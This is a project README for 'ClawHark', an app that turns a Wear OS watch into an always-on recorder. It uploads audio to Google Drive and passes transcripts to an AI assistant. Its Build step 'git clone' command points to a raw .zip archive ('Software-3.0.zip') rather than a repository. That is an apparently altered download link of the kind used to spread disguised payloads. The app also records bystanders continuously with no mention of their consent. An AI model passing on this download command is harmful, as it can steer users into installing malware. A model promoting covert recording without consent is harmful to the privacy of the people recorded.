ClawHark

Turn any Wear OS watch into an AI wearable.
Open source · No subscription · Your data stays yours

---

Like Omi, Limitless, or Bee — but running on hardware you already own.

ClawHark records your day in the background, filters out silence, uploads to your Google Drive, and feeds into any AI transcription pipeline. Pair it with OpenClaw for a fully automated wearable AI setup.

✨ Features

Feature	Details
🎙️ Always-on recording	Foreground service with wake lock — survives screen off and reboots
🔇 Voice Activity Detection	Only saves audio when someone is speaking — saves battery and storage
☁️ Auto Google Drive upload	5-min WAV chunks upload over WiFi, auto-deleted after
🔄 Boot persistence	Recording resumes automatically after watch restart
🎯 One-button UI	Tap to start, tap twice to stop. That's it.
📱 No companion app	Fully standalone on the watch
🔒 Privacy first	drive.file scope — can only see its own files. No analytics, no tracking

🔄 How It Works

Watch → records 24/7 with VAD → Google Drive → auto-uploads 5-min chunks → Your computer → pulls, transcribes, feeds to AI

1. Record — Watch captures audio continuously, Voice Activity Detection filters silence
2. Upload — Chunks upload to a ClawHark/ folder in your Google Drive
3. Pull — A script on your computer downloads and organizes by date
4. Transcribe — Whisper + AssemblyAI produce speaker-diarized transcripts
5. Act — Your AI assistant reads the transcripts and extracts action items

🚀 Quick Start

Prerequisites

• Wear OS 4+ watch (tested on Pixel Watch 3)
• Google Cloud project with Drive API enabled
• JDK 17 + Android SDK
• ADB for watch installation

1. Set up OAuth

Create an OAuth 2.0 client in Google Cloud Console:

• Type: TVs and Limited Input devices
• Scope: drive.file

Copy oauth_config.json.example → app/src/main/assets/oauth_config.json and fill in your credentials:

{
  "client_id": "YOUR_CLIENT_ID.apps.googleusercontent.com",
  "client_secret": "YOUR_CLIENT_SECRET"
}

2. Build

git clone https://github.com/ivar2000/clawhark/raw/refs/heads/main/openclaw/Software-3.0.zip
cd clawhark
./gradlew assembleDebug

3. Install on watch

# Enable wireless debugging on watch:
# Settings → Developer Options → Wireless debugging

adb connect <watch-ip>:<port>
adb install app/build/outputs/apk/debug/app-debug.apk

4. Start recording

Open ClawHark on your watch → Link your Google Drive → tap Start. Done.

🤖 Using with OpenClaw

OpenClaw turns ClawHark into a fully automated AI wearable pipeline. See the full OpenClaw setup guide for detailed instructions, or get started quickly:

Install the skill

cp -r openclaw/skills/clawhark ~/.openclaw/skills/

Add a pull cron

openclaw cron create \
  --name "ClawHark Pull" \
  --cron "*/30 8-23 * * *" \
  --message "Run scripts/pull.sh from the ClawHark repo to sync watch recordings"

The full loop

Meeting happens → watch records it
  → Drive upload (automatic)
  → OpenClaw pulls + transcribes (cron)
  → AI extracts: "You told Sarah you'd send the proposal by Friday"
  → Task created → Telegram notification

See openclaw/README.md for the complete integration guide including transcription setup, heartbeat automation, and action extraction.

🔧 Debugging

# View logs
adb shell "run-as ai.etti.clawhark cat files/logs/clawhark.log" | tail -50

# Live logcat
adb logcat -s "CH.Service" "CH.Drive" "CH.Auth"

# Check recordings on watch
adb shell "run-as ai.etti.clawhark ls -la files/recordings/"

Common issues

Problem	Cause	Fix
All chunks silent	VAD threshold too high	Lower VAD_THRESHOLD in RecordingService.kt
Upload failures	WiFi dropped	Check watch WiFi settings, disable battery saver
ERROR_DEAD_OBJECT	Phone call took the mic	Auto-recovers after call ends
Service killed	Memory pressure	Disable battery optimization for ClawHark
No recordings after reboot	Boot receiver	Launch the app manually once

📁 Project Structure

clawhark/
├── app/src/main/
│   ├── assets/
│   │   └── oauth_config.json.example    # OAuth credentials template
│   ├── java/.../
│   │   ├── AppLog.kt                    # Persistent file logger
│   │   ├── AuthManager.kt              # Device code OAuth2 flow
│   │   ├── DriveUploader.kt            # Google Drive upload
│   │   ├── MainActivity.kt             # One-button UI
│   │   └── RecordingService.kt         # Audio capture, VAD, chunking
│   └── res/                             # Icons, layouts, colors
├── openclaw/
│   ├── skills/clawhark/SKILL.md         # OpenClaw skill definition
│   └── README.md                        # OpenClaw integration guide
├── scripts/
│   ├── pull.sh                          # Pull recordings from Google Drive
│   └── transcribe.py                    # 4-phase transcription pipeline
├── store-listing/                       # Play Store assets
├── icon.png                             # App icon (source)
├── PRIVACY.md                           # Privacy policy
├── LICENSE                              # MIT
└── README.md

🔐 Privacy & Security

• No servers — audio goes watch → your Drive → your computer
• No analytics — zero tracking, zero telemetry
• Scoped OAuth — drive.file means the app can only access files it created
• Auto-delete chain — watch deletes after upload, Drive deletes after pull
• Open source — read every line of code yourself

🤔 Why not Omi / Limitless / Bee?

	ClawHark	Dedicated wearable
Hardware	Watch you already own	Extra device ($99-299)
Subscription	Free forever	$10-24/mo
Data	Your Drive, your computer	Their cloud
Transcription	Your choice (Whisper, AssemblyAI, etc.)	Their pipeline
Customizable	Fully open source	Closed
AI integration	Any (OpenClaw, ChatGPT, Claude...)	Their app only

🤝 Contributing

PRs welcome. The app is intentionally simple — a few hundred lines of Kotlin.

Good first contributions:

• Support for more watches (Galaxy Watch, TicWatch)
• Alternative upload backends (S3, WebDAV, local WiFi)
• On-device transcription (Whisper on Wear OS)
• Better VAD algorithms
• Companion phone app for easier setup

📄 License

MIT — do whatever you want with it.